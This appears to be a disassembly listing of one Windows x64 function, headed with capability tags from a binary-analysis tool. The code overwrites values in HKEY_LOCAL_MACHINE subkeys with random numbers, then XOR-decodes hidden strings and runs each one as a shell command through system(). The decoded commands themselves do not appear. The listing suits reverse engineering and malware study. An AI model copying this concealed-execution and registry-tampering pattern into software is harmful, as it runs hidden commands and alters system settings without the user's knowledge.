Function at 0x7ff794c47e00
Capabilities:
Encode data using xor
Execute command
Query or enumerate registry key
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x278]
sub rsp, 0x360
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
mov rax, qword [0x7ff794c70008]
xor rax, rsp
mov qword [rbp + 0x220], rax
lea rdx, [0x7ff794c66030]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff794c438e0
lea rdx, [0x7ff794c43ab0]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r14d, r14d
mov qword [rbp - 0x10], r14
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [0x7ff794c66040]
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
jne 0x7ff794c47fcc
mov rdi, qword [rbp - 0x10]
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x10]
call sub.VCRUNTIME140.dll_memset
mov esi, r14d
mov dword [rbp - 8], 0x208
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rbp - 8]
lea r8, [rbp + 0x10]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.advapi32.dll_RegEnumKeyExW]
test eax, eax
jne 0x7ff794c47fc3
nop word [rax + rax]
lea r8, [0x7ff794c65c68]
lea rdx, [rbp + 0x10]
mov rcx, rdi
call fcn.7ff794c46d30
lea r8, [0x7ff794c660e0]
lea rdx, [rbp + 0x10]
mov rcx, rdi
call fcn.7ff794c46d30
mov qword [rbp - 0x30], r14
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rbp + 0x10]
mov rcx, rdi
call qword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
jne 0x7ff794c47f8b
mov rbx, qword [rbp - 0x30]
xor eax, eax
mov dword [rbp + 4], eax
call qword [sym.imp.ucrtbase.dll_rand]
mov dword [rbp], eax
call qword [sym.imp.ucrtbase.dll_rand]
mov dword [rbp + 4], eax
mov dword [rsp + 0x28], 8
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, 0xb
xor r8d, r8d
lea rdx, [0x7ff794c660f0]
mov rcx, rbx
call qword [sym.imp.advapi32.dll_RegSetValueExW]
mov rcx, rbx
call qword [sym.imp.advapi32.dll_RegCloseKey]
inc esi
mov dword [rbp - 8], 0x208
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rbp - 8]
lea r8, [rbp + 0x10]
mov edx, esi
mov rcx, rdi
call qword [sym.imp.advapi32.dll_RegEnumKeyExW]
test eax, eax
je 0x7ff794c47ef0
mov rcx, rdi
call qword [sym.imp.advapi32.dll_RegCloseKey]
movups xmm0, xmmword [0x7ff794c68440]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x7ff794c68460]
movups xmm1, xmmword [0x7ff794c68450]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rsp + 0x70], xmm1
movzx eax, byte [0x7ff794c68490]
movups xmm0, xmmword [0x7ff794c68480]
movups xmm1, xmmword [0x7ff794c68470]
mov byte [rbp - 0x50], al
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
mov r8d, r14d
mov esi, 1
lea r15d, [rsi + 0x1e]
mov edi, dword [0x7ff794c70018]
cmp edi, 2
jl 0x7ff794c48167
movdqa xmm5, xmmword [0x7ff794c689a0]
movdqa xmm4, xmmword [0x7ff794c689f0]
movd xmm6, esi
movdqa xmm7, xmmword [0x7ff794c689d0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x7ff794c68a00]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rbp - 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff794c689e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff794c689e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x7ff794c48060
cmp r8d, 0x51
jge 0x7ff794c481af
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x51
jl 0x7ff794c48180
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
lea rax, [rsp + 0x60]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x7ff794c481d1
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.7ff794c435b0
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.ucrtbase.dll_system]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x7ff794c48241
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff794c4823c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff794c4823c
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff794c61b74
movups xmm0, xmmword [0x7ff794c685c0]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x7ff794c685e0]
movups xmm1, xmmword [0x7ff794c685d0]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x7ff794c68600]
movups xmm1, xmmword [0x7ff794c685f0]
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
cmp edi, 2
jl 0x7ff794c483c1
movdqa xmm5, xmmword [0x7ff794c689a0]
mov edx, r14d
movdqa xmm4, xmmword [0x7ff794c689f0]
movd xmm6, esi
movdqa xmm7, xmmword [0x7ff794c689d0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x7ff794c68a00]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rsp + 0x64]
mov r8d, dword [rbp - 0x30]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff794c689e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff794c689e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x50
jl 0x7ff794c482c0
jmp 0x7ff794c483ff
lea r9, [rsp + 0x60]
mov r8d, r14d
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x50
jl 0x7ff794c483d0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
lea rax, [rsp + 0x60]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff794c48420
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.7ff794c435b0
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.ucrtbase.dll_system]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x7ff794c48490
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff794c4848b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff794c4848b
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff794c61b74
movups xmm0, xmmword [0x7ff794c684a0]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x7ff794c68508]
movups xmm0, xmmword [0x7ff794c684c0]
movups xmm1, xmmword [0x7ff794c684b0]
mov dword [rbp - 0x38], eax
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rsp + 0x70], xmm1
movzx eax, word [0x7ff794c6850c]
movups xmm0, xmmword [0x7ff794c684e0]
movups xmm1, xmmword [0x7ff794c684d0]
mov word [rbp - 0x34], ax
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
movzx eax, byte [0x7ff794c6850e]
movsd xmm0, qword [0x7ff794c68500]
movups xmm1, xmmword [0x7ff794c684f0]
mov byte [rbp - 0x32], al
movsd qword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x50], xmm1
mov r8d, r14d
cmp edi, 2
jl 0x7ff794c48648
movdqa xmm5, xmmword [0x7ff794c689a0]
movdqa xmm4, xmmword [0x7ff794c689f0]
movd xmm6, esi
movdqa xmm7, xmmword [0x7ff794c689d0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x7ff794c68a00]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rbp - 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff794c689e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff794c689e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x68
jl 0x7ff794c48541
cmp r8d, 0x6f
jge 0x7ff794c4868f
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x6f
jl 0x7ff794c48660
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
lea rax, [rsp + 0x60]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff794c486b0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.7ff794c435b0
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.ucrtbase.dll_system]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x7ff794c48720
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff794c4871b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff794c4871b
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff794c61b74
movzx eax, byte [0x7ff794c68620]
movups xmm0, xmmword [0x7ff794c68610]
mov byte [rsp + 0x50], al
movups xmmword [rsp + 0x40], xmm0
mov r8d, r14d
cmp edi, 2
jl 0x7ff794c48887
movdqa xmm5, xmmword [0x7ff794c689a0]
movdqa xmm4, xmmword [0x7ff794c689f0]
movd xmm6, esi
movdqa xmm7, xmmword [0x7ff794c689d0]
movd xmm8, r15d
movdqa xmm0, xmmword [0x7ff794c68a00]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rbp - 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff794c689e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff794c689e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x7ff794c48780
cmp r8d, 0x11
jge 0x7ff794c488cf
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x7ff794c488a0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 0xf
lea rax, [rsp + 0x40]
inc rbx
cmp byte [rax + rbx], 0
jne 0x7ff794c488e4
mov r8, rbx
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x30]
call fcn.7ff794c435b0
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rcx, qword [rbp - 0x30]
call qword [sym.imp.ucrtbase.dll_system]
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x7ff794c48950
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff794c4894b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff794c4894b
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff794c61b74
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.7ff794c61b10
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret